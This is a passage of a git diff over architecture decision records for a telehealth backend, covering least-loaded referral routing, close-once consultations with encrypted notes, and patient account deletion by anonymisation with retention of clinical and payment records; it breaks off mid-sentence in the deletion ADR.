over: PRD Β§8.2.2's +"waiting for a specialist" state is still not built. The patient never +holds a referral with no owner β€” the referring doctor is told at the +moment of the referral that nobody is available, which is the actionable +place to learn it. Building the waiting state would require assignment +*after* creation, which is the thing Β§2 forbids. + +### 5. Batches (issue #66) + +Targets are resolved in order, and each routed target excludes: the +referring doctor, every doctor explicitly named anywhere in the batch, +and every doctor already resolved for an earlier target in the batch. +This makes a batch order-independent for explicit targets and prevents a +"cardiology (any) + Dr A" batch from failing the duplicate-target check +just because routing happened to pick Dr A for the specialty. A routed +target that finds no remaining candidate after exclusions fails the whole +batch with the same `422` β€” all-or-none, as #66 established. + +### 6. Everything downstream is unchanged + +The resolved `targetDoctorId` is an ordinary `Referral.targetDoctorId` +from that point on: the loop walk (#65) still runs against it and still +*flags* a repeated doctor/specialty for the admin queue rather than +blocking, accept (#7) still books the target doctor's slot, the cascade +(#67) is untouched, and the admin queue/reassign (#68) remains the human +override. `targetSpecialtyId` stays the denormalised label the loop guard +and admin views read. + +## Why least-loaded + +- **Fair on the dimension that matters.** The failure this rule exists to + prevent is a specialist drowning in a queue nobody assigned them. Open + slot count is a better proxy for capacity but is unavailable to + routing today (no availability-aware matching, and a doctor with no + published slots would be excluded from routing entirely β€” a worse dead + end than an uneven queue). +- **No new state to keep correct.** Round-robin needs a per-specialty + cursor: a new table, a transaction to advance it, and a decision about + what a rolled-back creation does to the cursor. Least-loaded is one + aggregate query over rows that already exist, so it cannot drift out of + sync with reality. This is the boring option, deliberately. +- **Deterministic and explainable.** "Why did this land on Dr B?" has a + one-sentence answer the admin queue can show, and the tie-break makes + test assertions exact instead of probabilistic. + +Rejected alternatives: + +- **Round-robin per specialty** β€” perfectly even, but needs persisted + cursor state and still ignores actual load (even distribution β‰  fair + distribution when doctors work at different rates). +- **Patient chooses the specialist from a list** β€” requires a doctor + discovery surface (issue #23) and a referral state where the target is + unset, i.e. exactly the nullable column Β§2 rules out. It also moves a + clinical hand-off decision onto the patient. Revisit only together with + the "waiting for a specialist" state. +- **Keep requiring an explicit target doctor (status quo)** β€” leaves + Β§6.1.2 open and forces a referring doctor to guess a UUID with no way + to enumerate eligible specialists. Not a decision. + +## Consequences + +- **Where it lives:** the pure rule is + `backend/src/modules/referrals/routing.ts`; resolution (eligibility + + load + choice) is `resolveTargetDoctor` in + `backend/src/modules/referrals/services/index.ts`; eligibility is + `doctors/services.listEligibleReferralTargets` (never a direct + `DoctorSpecialty` read from the referrals module). Tests: + `tests/unit/referral-routing.test.ts` (the rule) and + `tests/integration/referral-routing.test.mts` (least-loaded choice, + zero candidates, self/deactivated exclusions, batch exclusions). +- A referring doctor who names only a specialty gets a doctor back in the + creation response (`targetDoctorId`); the API returns the referral row + with the resolved target, so no extra round trip is needed to learn who + received it. +- **Load-balancing is approximate under concurrency.** Two creations + resolving the same specialty at the same instant can both read the same + loads and pick the same doctor, and both succeed. There is no unique + constraint or advisory lock: the referral count is a soft signal, the + drift is one referral, and serialising referral creation on a specialty + is not worth the contention. If this ever becomes measurably unfair, + the place to fix it is this rule, not the schema. +- Routing reads `DoctorProfile` through the doctors module's service and + `Referral` through this module's repository β€” no cross-module table + access (ARCHITECTURE_ESSENTIALS.md hard rule 4). +- There is no "why this doctor" audit row: referral *creation* is still + unaudited (ARCHITECTURE.md Β§6.2.4 lists that gap). When creation + auditing lands, the routing inputs (candidate set size, chosen load) + belong in its metadata β€” that is the natural place to record it, not a + second log. +- Deferred, with a trigger for revisiting: availability-aware routing + (only doctors with open slots) once doctor-side discovery/availability + exists; a per-doctor "accepting referrals" switch, which is the honest + long-term replacement for the account-deactivation exclusion; and the + "waiting for a specialist" queue if a real clinical workflow needs a + referral to exist before an owner does. +- PRD Β§8.2.1's dead end narrows but is not closed: a routed referral can + still sit pending because the chosen doctor never publishes a slot. + That is issue #8's time-based expiry (and the admin queue, #68), not a + routing problem β€” this ADR deliberately does not try to solve it by + routing only to doctors with slots. diff --git a/docs/adr/0009-consultation-close-once.md b/docs/adr/0009-consultation-close-once.md index 25bb7e23..ed84d405 100644 --- a/docs/adr/0009-consultation-close-once.md +++ b/docs/adr/0009-consultation-close-once.md @@ -1,107 +1,107 @@ -# ADR 0009: Consultation is close-once, enforced by a unique appointment FK - -Status: Accepted -Date: 2026-10-20 - -## Context - -Phase 2, issue #4 β€” "`Consultation` record + outcome -(`resolved | referred | follow_up_needed`)". The `Consultation` table has -existed since the Phase 0 scaffold as `(id, outcome?, notes?, createdAt)` with -nothing relating it to an appointment, and nothing ever wrote to it. - -The decisions that need recording are not really about columns: - -1. **How is "a consultation can only be closed once" enforced?** The repo - already has one precedent for this class of guarantee β€” booking (Β§5.1) is - settled by a DB-level conditional `UPDATE`, not by a read-then-write check, - because "check then write" is the exact bug class the architecture was - built to avoid (ARCHITECTURE_ESSENTIALS.md hard rule). -2. **What does "closed" mean for the record?** A consultation is a clinical - record of what happened. `Prescription`/`LabOrder` are explicitly - never-mutated-after-issuance with corrections as new rows; consultation - notes are the same category of data. -3. **Do amendments exist in v1?** PRD Β§8 leaves "can a consultation be - corrected/amended" unresolved. The tempting move is to add - `supersedes_consultation_id` "just in case". That would be inventing a - resolution to an open question. - -## Decision - -- **`Consultation.appointmentId` is a `NOT NULL`, `UNIQUE` FK to - `Appointment`** (`ON DELETE RESTRICT` β€” a clinical record must not - disappear as a cascade side effect of an appointment row; the same rule - `Prescription`/`LabOrder` already follow). The unique index *is* the - close-once guarantee: two concurrent closes both reach the INSERT, exactly - one commits, the loser gets Prisma `P2002` β†’ `409`. There is deliberately - no read-then-write pre-check in the service; the constraint is what makes - it safe, so the code has nothing to get wrong. -- **`outcome` is nullable in the schema, required at the close routes** - (`resolved | referred | follow_up_needed`, PRD FR-6). Phase 3's referral - slice opened `POST /consultations` with `outcome` optional so a record can - exist before sign-off; a **closed** record still always carries an outcome - because `closeConsultationSchema` requires it. `notes` stays nullable, - capped at 20k chars at the API boundary. -- **`notes` is encrypted on write** with the existing AES-256-GCM field - encryption (issue #46) and decrypted only for the caller who just wrote it. - ARCHITECTURE.md Β§2/Β§4.3 already list `Consultation.notes` as an encrypted - clinical field; this is the first write path, so it sets the precedent - rather than starting a plaintext one. Consequence: the column is - unsearchable by design, and environments must set - `FIELD_ENCRYPTION_KEY_V1`. -- **One writer, three addresses.** `consultationsService.createConsultation` - is the only code that inserts this row; `POST /consultations`, - `POST /appointments/:id/consultation` and the orders flow's consultation - step all delegate to it, so none of them can bypass the uniqueness, - encryption or audit rules. A consultation is recorded only against a - `completed` appointment the caller owns. -- **No amendment path in v1.** Closing twice is a `409`, full stop. When the - amendment question is actually answered (Phase 3 referral/consultation - work), the answer should be a new, reviewed migration β€” for example an - append-only history keyed by `supersedes_*` β€” not a quiet relaxation of the - unique constraint. -- **Access is doctor-only, own-appointment-only.** The consultations module - never queries `Appointment`; it asks - `appointmentsService.getAppointmentForDoctor(userId, appointmentId)`, which - returns `null` for someone else's appointment. The route answers `404` for - both "doesn't exist" and "not yours", so it never confirms the existence of - another doctor's appointment. This mirrors Β§5.1's rule and AGENTS.md hard - rule 4 (no cross-module repository imports). -- **Every close writes a `consultation.closed` audit event in the same - transaction** (issue #43), with `metadata: { appointmentId }` β€” never the - notes, which are PHI. - -## Consequences - -- The guarantee survives races and process crashes; there is no window where - two consultations exist for one appointment. -- Deleting an appointment that has a consultation is refused by the FK - (`RESTRICT`), matching the rest of the Phase 1 model (nothing clinical is - user-deletable yet). That is re-examined when the account-purge/retention - work lands, since a clinical record with retention rules should not - disappear as a cascade side effect. -- The encrypted `notes` column cannot back search, sorting or reporting. A - future "search my consultations" feature must decrypt in the app layer or - maintain a separate index β€” accepted, documented in Β§4.3. -- If `FIELD_ENCRYPTION_KEY_V1` is missing, closing a consultation fails loudly - (`500`) with the util's own "key not configured" error instead of silently - storing plaintext PHI. There is no fallback-to-plaintext path and there must - not be one. -- The column, unique index and FK are created by - `20261020000000_order_payment_intents` (issue #9, before this feature had a - writer). That migration assumes the scaffold `Consultation` table is empty - and fails loudly rather than backfilling an invented appointment. - -## Alternatives considered - -- **Check-then-write in the service only.** Rejected: the exact bug class - (two requests pass the check, both insert) the architecture exists to - prevent. -- **`status` enum on `Consultation` (`open | closed`) instead of create-on- - close.** Rejected for v1: there is no "open consultation" state to model β€” - the appointment is the thing that exists before the visit; a consultation is - created when it is closed. Adding an `open` state now would be modelling a - flow (intake β†’ in-progress notes β†’ close) that Phase 2 hasn't designed. -- **Nullable `appointmentId` + `supersedes_consultation_id` for amendments.** - Rejected: it resolves an open PRD question by accident, and a nullable - unique FK would allow orphan consultations. +# ADR 0009: Consultation is close-once, enforced by a unique appointment FK + +Status: Accepted +Date: 2026-10-20 + +## Context + +Phase 2, issue #4 β€” "`Consultation` record + outcome +(`resolved | referred | follow_up_needed`)". The `Consultation` table has +existed since the Phase 0 scaffold as `(id, outcome?, notes?, createdAt)` with +nothing relating it to an appointment, and nothing ever wrote to it. + +The decisions that need recording are not really about columns: + +1. **How is "a consultation can only be closed once" enforced?** The repo + already has one precedent for this class of guarantee β€” booking (Β§5.1) is + settled by a DB-level conditional `UPDATE`, not by a read-then-write check, + because "check then write" is the exact bug class the architecture was + built to avoid (ARCHITECTURE_ESSENTIALS.md hard rule). +2. **What does "closed" mean for the record?** A consultation is a clinical + record of what happened. `Prescription`/`LabOrder` are explicitly + never-mutated-after-issuance with corrections as new rows; consultation + notes are the same category of data. +3. **Do amendments exist in v1?** PRD Β§8 leaves "can a consultation be + corrected/amended" unresolved. The tempting move is to add + `supersedes_consultation_id` "just in case". That would be inventing a + resolution to an open question. + +## Decision + +- **`Consultation.appointmentId` is a `NOT NULL`, `UNIQUE` FK to + `Appointment`** (`ON DELETE RESTRICT` β€” a clinical record must not + disappear as a cascade side effect of an appointment row; the same rule + `Prescription`/`LabOrder` already follow). The unique index *is* the + close-once guarantee: two concurrent closes both reach the INSERT, exactly + one commits, the loser gets Prisma `P2002` β†’ `409`. There is deliberately + no read-then-write pre-check in the service; the constraint is what makes + it safe, so the code has nothing to get wrong. +- **`outcome` is nullable in the schema, required at the close routes** + (`resolved | referred | follow_up_needed`, PRD FR-6). Phase 3's referral + slice opened `POST /consultations` with `outcome` optional so a record can + exist before sign-off; a **closed** record still always carries an outcome + because `closeConsultationSchema` requires it. `notes` stays nullable, + capped at 20k chars at the API boundary. +- **`notes` is encrypted on write** with the existing AES-256-GCM field + encryption (issue #46) and decrypted only for the caller who just wrote it. + ARCHITECTURE.md Β§2/Β§4.3 already list `Consultation.notes` as an encrypted + clinical field; this is the first write path, so it sets the precedent + rather than starting a plaintext one. Consequence: the column is + unsearchable by design, and environments must set + `FIELD_ENCRYPTION_KEY_V1`. +- **One writer, three addresses.** `consultationsService.createConsultation` + is the only code that inserts this row; `POST /consultations`, + `POST /appointments/:id/consultation` and the orders flow's consultation + step all delegate to it, so none of them can bypass the uniqueness, + encryption or audit rules. A consultation is recorded only against a + `completed` appointment the caller owns. +- **No amendment path in v1.** Closing twice is a `409`, full stop. When the + amendment question is actually answered (Phase 3 referral/consultation + work), the answer should be a new, reviewed migration β€” for example an + append-only history keyed by `supersedes_*` β€” not a quiet relaxation of the + unique constraint. +- **Access is doctor-only, own-appointment-only.** The consultations module + never queries `Appointment`; it asks + `appointmentsService.getAppointmentForDoctor(userId, appointmentId)`, which + returns `null` for someone else's appointment. The route answers `404` for + both "doesn't exist" and "not yours", so it never confirms the existence of + another doctor's appointment. This mirrors Β§5.1's rule and AGENTS.md hard + rule 4 (no cross-module repository imports). +- **Every close writes a `consultation.closed` audit event in the same + transaction** (issue #43), with `metadata: { appointmentId }` β€” never the + notes, which are PHI. + +## Consequences + +- The guarantee survives races and process crashes; there is no window where + two consultations exist for one appointment. +- Deleting an appointment that has a consultation is refused by the FK + (`RESTRICT`), matching the rest of the Phase 1 model (nothing clinical is + user-deletable yet). That is re-examined when the account-purge/retention + work lands, since a clinical record with retention rules should not + disappear as a cascade side effect. +- The encrypted `notes` column cannot back search, sorting or reporting. A + future "search my consultations" feature must decrypt in the app layer or + maintain a separate index β€” accepted, documented in Β§4.3. +- If `FIELD_ENCRYPTION_KEY_V1` is missing, closing a consultation fails loudly + (`500`) with the util's own "key not configured" error instead of silently + storing plaintext PHI. There is no fallback-to-plaintext path and there must + not be one. +- The column, unique index and FK are created by + `20261020000000_order_payment_intents` (issue #9, before this feature had a + writer). That migration assumes the scaffold `Consultation` table is empty + and fails loudly rather than backfilling an invented appointment. + +## Alternatives considered + +- **Check-then-write in the service only.** Rejected: the exact bug class + (two requests pass the check, both insert) the architecture exists to + prevent. +- **`status` enum on `Consultation` (`open | closed`) instead of create-on- + close.** Rejected for v1: there is no "open consultation" state to model β€” + the appointment is the thing that exists before the visit; a consultation is + created when it is closed. Adding an `open` state now would be modelling a + flow (intake β†’ in-progress notes β†’ close) that Phase 2 hasn't designed. +- **Nullable `appointmentId` + `supersedes_consultation_id` for amendments.** + Rejected: it resolves an open PRD question by accident, and a nullable + unique FK would allow orphan consultations. diff --git a/docs/adr/0010-account-deletion-and-clinical-record-retention.md b/docs/adr/0010-account-deletion-and-clinical-record-retention.md index 5196ecbd..4d23f1ec 100644 --- a/docs/adr/0010-account-deletion-and-clinical-record-retention.md +++ b/docs/adr/0010-account-deletion-and-clinical-record-retention.md @@ -1,160 +1,160 @@ -# ADR 0010: Patient account deletion anonymises identity and retains clinical, order and payment records - -Status: Proposed (issue #41). Becomes Accepted when the implementing PR merges. - -## Context - -A patient must be able to delete their account (PRD Β§5: the architecture -must not preclude NDPR/GDPR, and erasure is the request after access, #40). -But the records that hang off a patient are not only the patient's: - -- an `Appointment` is part of a doctor's calendar and clinical history; -- a `PaymentIntent` is a financial record whose on-chain escrow - (`stellarTxHash`, `escrowId`) is immutable and must stay reconcilable; -- PRD Β§7 makes orders append-only "for legal and clinical safety", and - requires every state transition on clinical records to stay attributable. - -Before this ADR, the only deletion semantics in the schema were the foreign -keys' `ON DELETE` actions. Inventory, taken from the committed migrations -(not assumed): - -| FK | ON DELETE (before) | Effect of deleting a patient's `User` row | -|---|---|---| -| `PatientProfile.userId β†’ User` | **CASCADE** | Deletes the profile, the clinical identity anchor, whenever nothing RESTRICTs it, and fails with a raw FK error when something does | -| `EmailVerificationToken.userId β†’ User` | CASCADE | Tokens go with the user (fine) | -| `Appointment.patientProfileId β†’ PatientProfile` | RESTRICT (Prisma default) | Blocks the cascade above, so the delete errors out | -| `PaymentIntent.patientProfileId β†’ PatientProfile` | RESTRICT (Prisma default) | Same | -| `DoctorProfile.userId β†’ User`, `FacilityProfile.userId β†’ User` | CASCADE | Not patient data. Their clinical/payment references (`Appointment.doctorProfileId`, `PaymentIntent.facilityId`) are already RESTRICT, so a cascade there can fail but can't destroy history | -| `AvailabilitySlot β†’ DoctorProfile`, `DoctorSpecialty β†’ *`, `FacilityCapability β†’ FacilityProfile`, `WalletLink β†’ FacilityProfile` | CASCADE | Operational rows of doctors/facilities. A booked slot is protected by `Appointment.availabilitySlotId` (RESTRICT) | -| `Appointment.availabilitySlotId β†’ AvailabilitySlot`, `Appointment.doctorProfileId β†’ DoctorProfile`, `PaymentIntent.facilityId β†’ FacilityProfile` | RESTRICT | Already protective | - -Models that reference `PatientProfile` and landed on `main` after this -inventory was first taken (re-checked when rebasing this PR): - -| FK | ON DELETE | Treatment | -|---|---|---| -| `Referral.patientProfileId β†’ PatientProfile` | RESTRICT (Prisma default) | Clinical record β€” retention hold `referrals` | -| `Prescription.patientProfileId`, `LabOrder.patientProfileId β†’ PatientProfile` | RESTRICT (Prisma default) | Append-only orders β€” retention hold `orders` | -| `AccessLog.patientProfileId β†’ PatientProfile` (issue #45) | CASCADE | Audit of who viewed the record β€” retention hold `access_logs` (below) | -| `PatientExport.patientProfileId β†’ PatientProfile` (issue #40) | CASCADE | Derived copy β€” deleted at anonymisation | - -`IntakeForm`, `Consultation`, `LabResult` and `FulfillmentRecord` reach the -patient through an appointment or an order rather than their own patient -foreign key, so the holds above already cover them. Anything that later -gains a direct patient FK is covered by the rule in the retention table. - -No repository document establishes a **legal retention period** for -clinical, order or payment records after an account is deleted (PRD Β§5 puts -the full compliance programme out of scope). This ADR does not invent one. -That decision was confirmed with the maintainer before implementation (see -"Open decision" below). - -## Decision - -**Deleting a patient account anonymises the identity in place. It never -deletes the `User` or `PatientProfile` row while any clinical, order or -payment record references them.** Clinical, order and payment records are -kept intact and keep their foreign keys, so a doctor still sees "this -appointment happened", an auditor can still reconcile a payment against -its escrow, and nothing in them is rewritten. They just no longer lead to -a person. - -### Retention table - -| Model / data | At `DELETE /patients/me` | Retained for | Rationale | -|---|---|---|---| -| `User.email` | **Anonymised** to `deleted+@deleted.invalid` | until purged (below) | Frees the address: the unique index no longer blocks a future signup with it. `.invalid` is reserved (RFC 2606), so it can never deliver mail. Derived from the id, so it's unique and identical on every retry. | -| `User.phone` | **Deleted** (set null) | β€” | PII, no retention purpose. | -| `User.passwordHash` | **Replaced** with a bcrypt hash of 32 random bytes nobody knows | β€” | Login is impossible even if someone learned the tombstone address. Still a well-formed hash, so the login path's timing stays uniform. | -| `User.emailVerifiedAt` | **Cleared** | β€” | The address is gone. This also makes the existing `requireVerifiedEmail` guard refuse booking/payment mutations immediately, for an access token that's still inside its 15-minute TTL. | -| `User.deletedAt` (new) | **Set** | permanent | Irreversible marker. Refresh is refused once it's set, it makes repeat requests a no-op, and it's the purge clock. Kept distinct from admin deactivation (#39 / PR #141), which is reversible. | -| `User.role`, `User.id`, `createdAt` | Retained | while the row exists | Not identifying on their own. The id is what clinical rows ultimately join to. | -| `PatientProfile.fullName` | **Anonymised** to `Deleted patient` | β€” | What a doctor's appointment list shows from now on. | -| `PatientProfile.dateOfBirth` | **Deleted** (null) | β€” | PII. | -| `PatientProfile.guardianUserId` | β€” | β€” | Column dropped by issue #42 (ADR 0011), replaced by `Guardianship`. | -| `Guardianship` rows where the deleted user is the guardian (issue #42) | **Revoked** (`revokedAt` set), retained | while the tombstone exists | Access to a minor's profile ends with the account; the rows are the record of who had it. Retention hold `guardianships`. The dependents' own profiles and records are untouched. | -| `PatientProfile.anonymizedAt` (new) | **Set** | permanent | Owned by the patients module. Every patient route resolves the caller's profile through `getMyPatientProfile`, which refuses an anonymised profile, so booking, listing and repeat deletion stop working immediately. | -| `PatientProfile.id` | Retained | while any record references it | The link that keeps appointments/payments attached without any PII. | -| `EmailVerificationToken` (all of the user's) | **Deleted** | β€” | Bookkeeping tied to the old address. | -| `LoginAttempt` bucket keyed by the old normalised email | **Deleted** | β€” | It *is* the email address. IP-keyed buckets aren't tied to the account and keep their existing 24 h prune. | -| `Appointment` | **Retained unchanged** | **Indefinitely. Legal period is an open decision** | Clinical record, and part of the doctor's history. FK stays RESTRICT. | -| `PaymentIntent` | **Retained unchanged** | **Indefinitely. Legal period is an open decision** | Financial record; the escrow on-chain is immutable regardless. FK stays RESTRICT. | -| `Referral`, `Prescription`(+items), `LabOrder`(+`LabResult`) | **Retained unchanged** | **Indefinitely. Open decision** | Hard rules 1/3: orders and referral snapshots are immutable. Patient FK is RESTRICT; retention holds `referrals` and `orders`. | -| Future clinical/order rows (`IntakeForm`, `Consultation`, `FulfillmentRecord`, if they gain a direct patient FK) | **Retained unchanged** | **Indefinitely. Open decision** | **Rule for whoever builds them:** their patient FK must be `onDelete: Restrict`, and they must be added to the purge's retention holds (`src/retention-holds.ts`). | -| `AccessLog` rows about the patient (issue #45) | **Retained unchanged** | `ACCESS_LOG_RETENTION_DAYS`, then pruned by its own job | The audit trail of who read the record. Its FK cascades, so the purge holds (`access_logs`) until the access-log prune has removed them, instead of erasing them with the profile. | -| `PatientExport` (+chunks) (issue #40) | **Deleted at anonymisation**, in the same transaction | β€” | Derived copies, not records of care. An export mid-generation loses its row, so it can never publish. | -| Notifications / other copies of patient data (future) | **Deleted at anonymisation** | β€” | Derived copies, not records of care. | - -### What it does to related records - -Nothing is cascaded. Appointments and payment intents keep pointing at the -same `PatientProfile.id`. Doctors see `Deleted patient` in place of a name. -The escrow and its tx hash stay reconcilable. Free-text clinical content -written in the future (intake notes, consultation notes) is **not** -rewritten. It's a clinical record, and editing it would break the -append-only rules. If such text names the patient, that's residual personal -data in the clinical record, which retention law typically permits, and it's -listed under open decisions. - -### Schema change - -`PatientProfile.userId β†’ User` becomes **`ON DELETE RESTRICT`**. Hard-deleting -a patient's `User` row is no longer a way anything can happen. Anonymisation -is the path, and an accidental `DELETE FROM "User"` fails loudly instead of -taking the clinical identity anchor with it. -`Appointment.patientProfileId` and `PaymentIntent.patientProfileId` are -already RESTRICT; they're now written as explicit `onDelete: Restrict` in -`schema.prisma` so the intent can't be lost to a default changing. Doctor -and facility cascades are deliberately not changed: no deletion flow exists -for those roles, their clinical/payment references are already RESTRICT, -and changing them is a separate decision for whoever designs those flows. - -### Scheduled purge - -An interval job (`src/jobs/account-purge.ts`; plain interval, per -ARCHITECTURE_ESSENTIALS) hard-deletes **tombstones only**: an anonymised -patient whose profile has no retained records (no appointment, payment -intent, prescription, lab order, referral or access-log row, checked through -each module's service via `src/retention-holds.ts`), -once `ACCOUNT_PURGE_GRACE_HOURS` (default 24) has passed since deletion. -The grace period is operational, not legal. It lets requests already in -flight under a still-valid access token finish before the row disappears. - -- It never deletes clinical/order/payment rows. With the retention period - open, nothing it could delete is a record of care. -- It is race-safe. Holds are checked first, and the delete itself is - backstopped by the RESTRICT foreign keys, so a record that appeared - between the check and the delete makes the delete fail. That account is - skipped, never cascaded. -- It is idempotent. It works only on rows where `anonymizedAt`/`deletedAt` - are already set, and re-running it finds nothing new. -- Logs carry counts and error types only, never ids paired with personal - fields, and never error messages. - -When a legal retention period is decided, the purge is where it goes: a -per-category age check before a record type stops counting as a hold. That -is a follow-up, not something this ADR pre-builds. - -## Open decision (not resolved here) - -- **How long clinical, order and payment records are kept after deletion**, - per jurisdiction (e.g. NDPR in Nigeria; medical-record retention rules). - Until it's decided they're kept indefinitely, which is the - safe direction for clinical safety and the reversible one: a record kept - too long can still be deleted later, a record deleted too early can't be - recovered. Confirmed with the maintainer for #41. -- Residual personal data inside clinical free text (above). - -## Consequences - -- `DELETE /patients/me` requires the current password. A failed confirmation - counts against the account's login-throttle bucket, so a stolen access - token can't be used to brute-force the password through this route. -- Access tokens are stateless JWTs with a 15-minute TTL, and there's no - revocation list (issue #18). After deletion the token still passes - `authenticate` until it expires, but every patient route refuses it - (anonymised profile), booking/payments refuse it (no verified email), and - refresh refuses the session (`deletedAt`). Nothing personal is reachable - through it. -- Anonymisation is irreversible. There's no undo and no "restore my - account". The old address can sign up again as a brand-new, empty account. +# ADR 0010: Patient account deletion anonymises identity and retains clinical, order and payment records + +Status: Proposed (issue #41). Becomes Accepted when the implementing PR merges. + +## Context + +A patient must be able to delete their account (PRD Β§5: the architecture +must not preclude NDPR/GDPR, and erasure is the request after access, #40). +But the records that hang off a patient are not only the patient's: + +- an `Appointment` is part of a doctor's calendar and clinical history; +- a `PaymentIntent` is a financial record whose on-chain escrow + (`stellarTxHash`, `escrowId`) is immutable and must stay reconcilable; +- PRD Β§7 makes orders append-only "for legal and clinical safety", and + requires every state transition on clinical records to stay attributable. + +Before this ADR, the only deletion semantics in the schema were the foreign +keys' `ON DELETE` actions. Inventory, taken from the committed migrations +(not assumed): + +| FK | ON DELETE (before) | Effect of deleting a patient's `User` row | +|---|---|---| +| `PatientProfile.userId β†’ User` | **CASCADE** | Deletes the profile, the clinical identity anchor, whenever nothing RESTRICTs it, and fails with a raw FK error when something does | +| `EmailVerificationToken.userId β†’ User` | CASCADE | Tokens go with the user (fine) | +| `Appointment.patientProfileId β†’ PatientProfile` | RESTRICT (Prisma default) | Blocks the cascade above, so the delete errors out | +| `PaymentIntent.patientProfileId β†’ PatientProfile` | RESTRICT (Prisma default) | Same | +| `DoctorProfile.userId β†’ User`, `FacilityProfile.userId β†’ User` | CASCADE | Not patient data. Their clinical/payment references (`Appointment.doctorProfileId`, `PaymentIntent.facilityId`) are already RESTRICT, so a cascade there can fail but can't destroy history | +| `AvailabilitySlot β†’ DoctorProfile`, `DoctorSpecialty β†’ *`, `FacilityCapability β†’ FacilityProfile`, `WalletLink β†’ FacilityProfile` | CASCADE | Operational rows of doctors/facilities. A booked slot is protected by `Appointment.availabilitySlotId` (RESTRICT) | +| `Appointment.availabilitySlotId β†’ AvailabilitySlot`, `Appointment.doctorProfileId β†’ DoctorProfile`, `PaymentIntent.facilityId β†’ FacilityProfile` | RESTRICT | Already protective | + +Models that reference `PatientProfile` and landed on `main` after this +inventory was first taken (re-checked when rebasing this PR): + +| FK | ON DELETE | Treatment | +|---|---|---| +| `Referral.patientProfileId β†’ PatientProfile` | RESTRICT (Prisma default) | Clinical record β€” retention hold `referrals` | +| `Prescription.patientProfileId`, `LabOrder.patientProfileId β†’ PatientProfile` | RESTRICT (Prisma default) | Append-only orders β€” retention hold `orders` | +| `AccessLog.patientProfileId β†’ PatientProfile` (issue #45) | CASCADE | Audit of who viewed the record β€” retention hold `access_logs` (below) | +| `PatientExport.patientProfileId β†’ PatientProfile` (issue #40) | CASCADE | Derived copy β€” deleted at anonymisation | + +`IntakeForm`, `Consultation`, `LabResult` and `FulfillmentRecord` reach the +patient through an appointment or an order rather than their own patient +foreign key, so the holds above already cover them. Anything that later +gains a direct patient FK is covered by the rule in the retention table. + +No repository document establishes a **legal retention period** for +clinical, order or payment records after an account is deleted (PRD Β§5 puts +the full compliance programme out of scope). This ADR does not invent one. +That decision was confirmed with the maintainer before implementation (see +"Open decision" below). + +## Decision + +**Deleting a patient account anonymises the identity in place. It never +deletes the `User` or `PatientProfile` row while any clinical, order or +payment record references them.** Clinical, order and payment records are +kept intact and keep their foreign keys, so a doctor still sees "this +appointment happened", an auditor can still reconcile a payment against +its escrow, and nothing in them is rewritten. They just no longer lead to +a person. + +### Retention table + +| Model / data | At `DELETE /patients/me` | Retained for | Rationale | +|---|---|---|---| +| `User.email` | **Anonymised** to `deleted+@deleted.invalid` | until purged (below) | Frees the address: the unique index no longer blocks a future signup with it. `.invalid` is reserved (RFC 2606), so it can never deliver mail. Derived from the id, so it's unique and identical on every retry. | +| `User.phone` | **Deleted** (set null) | β€” | PII, no retention purpose. | +| `User.passwordHash` | **Replaced** with a bcrypt hash of 32 random bytes nobody knows | β€” | Login is impossible even if someone learned the tombstone address. Still a well-formed hash, so the login path's timing stays uniform. | +| `User.emailVerifiedAt` | **Cleared** | β€” | The address is gone. This also makes the existing `requireVerifiedEmail` guard refuse booking/payment mutations immediately, for an access token that's still inside its 15-minute TTL. | +| `User.deletedAt` (new) | **Set** | permanent | Irreversible marker. Refresh is refused once it's set, it makes repeat requests a no-op, and it's the purge clock. Kept distinct from admin deactivation (#39 / PR #141), which is reversible. | +| `User.role`, `User.id`, `createdAt` | Retained | while the row exists | Not identifying on their own. The id is what clinical rows ultimately join to. | +| `PatientProfile.fullName` | **Anonymised** to `Deleted patient` | β€” | What a doctor's appointment list shows from now on. | +| `PatientProfile.dateOfBirth` | **Deleted** (null) | β€” | PII. | +| `PatientProfile.guardianUserId` | β€” | β€” | Column dropped by issue #42 (ADR 0011), replaced by `Guardianship`. | +| `Guardianship` rows where the deleted user is the guardian (issue #42) | **Revoked** (`revokedAt` set), retained | while the tombstone exists | Access to a minor's profile ends with the account; the rows are the record of who had it. Retention hold `guardianships`. The dependents' own profiles and records are untouched. | +| `PatientProfile.anonymizedAt` (new) | **Set** | permanent | Owned by the patients module. Every patient route resolves the caller's profile through `getMyPatientProfile`, which refuses an anonymised profile, so booking, listing and repeat deletion stop working immediately. | +| `PatientProfile.id` | Retained | while any record references it | The link that keeps appointments/payments attached without any PII. | +| `EmailVerificationToken` (all of the user's) | **Deleted** | β€” | Bookkeeping tied to the old address. | +| `LoginAttempt` bucket keyed by the old normalised email | **Deleted** | β€” | It *is* the email address. IP-keyed buckets aren't tied to the account and keep their existing 24 h prune. | +| `Appointment` | **Retained unchanged** | **Indefinitely. Legal period is an open decision** | Clinical record, and part of the doctor's history. FK stays RESTRICT. | +| `PaymentIntent` | **Retained unchanged** | **Indefinitely. Legal period is an open decision** | Financial record; the escrow on-chain is immutable regardless. FK stays RESTRICT. | +| `Referral`, `Prescription`(+items), `LabOrder`(+`LabResult`) | **Retained unchanged** | **Indefinitely. Open decision** | Hard rules 1/3: orders and referral snapshots are immutable. Patient FK is RESTRICT; retention holds `referrals` and `orders`. | +| Future clinical/order rows (`IntakeForm`, `Consultation`, `FulfillmentRecord`, if they gain a direct patient FK) | **Retained unchanged** | **Indefinitely. Open decision** | **Rule for whoever builds them:** their patient FK must be `onDelete: Restrict`, and they must be added to the purge's retention holds (`src/retention-holds.ts`). | +| `AccessLog` rows about the patient (issue #45) | **Retained unchanged** | `ACCESS_LOG_RETENTION_DAYS`, then pruned by its own job | The audit trail of who read the record. Its FK cascades, so the purge holds (`access_logs`) until the access-log prune has removed them, instead of erasing them with the profile. | +| `PatientExport` (+chunks) (issue #40) | **Deleted at anonymisation**, in the same transaction | β€” | Derived copies, not records of care. An export mid-generation loses its row, so it can never publish. | +| Notifications / other copies of patient data (future) | **Deleted at anonymisation** | β€” | Derived copies, not records of care. | + +### What it does to related records + +Nothing is cascaded. Appointments and payment intents keep pointing at the +same `PatientProfile.id`. Doctors see `Deleted patient` in place of a name. +The escrow and its tx hash stay reconcilable. Free-text clinical content +written in the future (intake notes, consultation notes) is **not** +rewritten. It's a clinical record, and editing it would break the +append-only rules. If such text names the patient, that's residual personal +data in the clinical record, which retention law typically permits, and it's +listed under open decisions. + +### Schema change + +`PatientProfile.userId β†’ User` becomes **`ON DELETE RESTRICT`**. Hard-deleting +a patient's `User` row is no longer a way anything can happen. Anonymisation +is the path, and an accidental `DELETE FROM "User"` fails 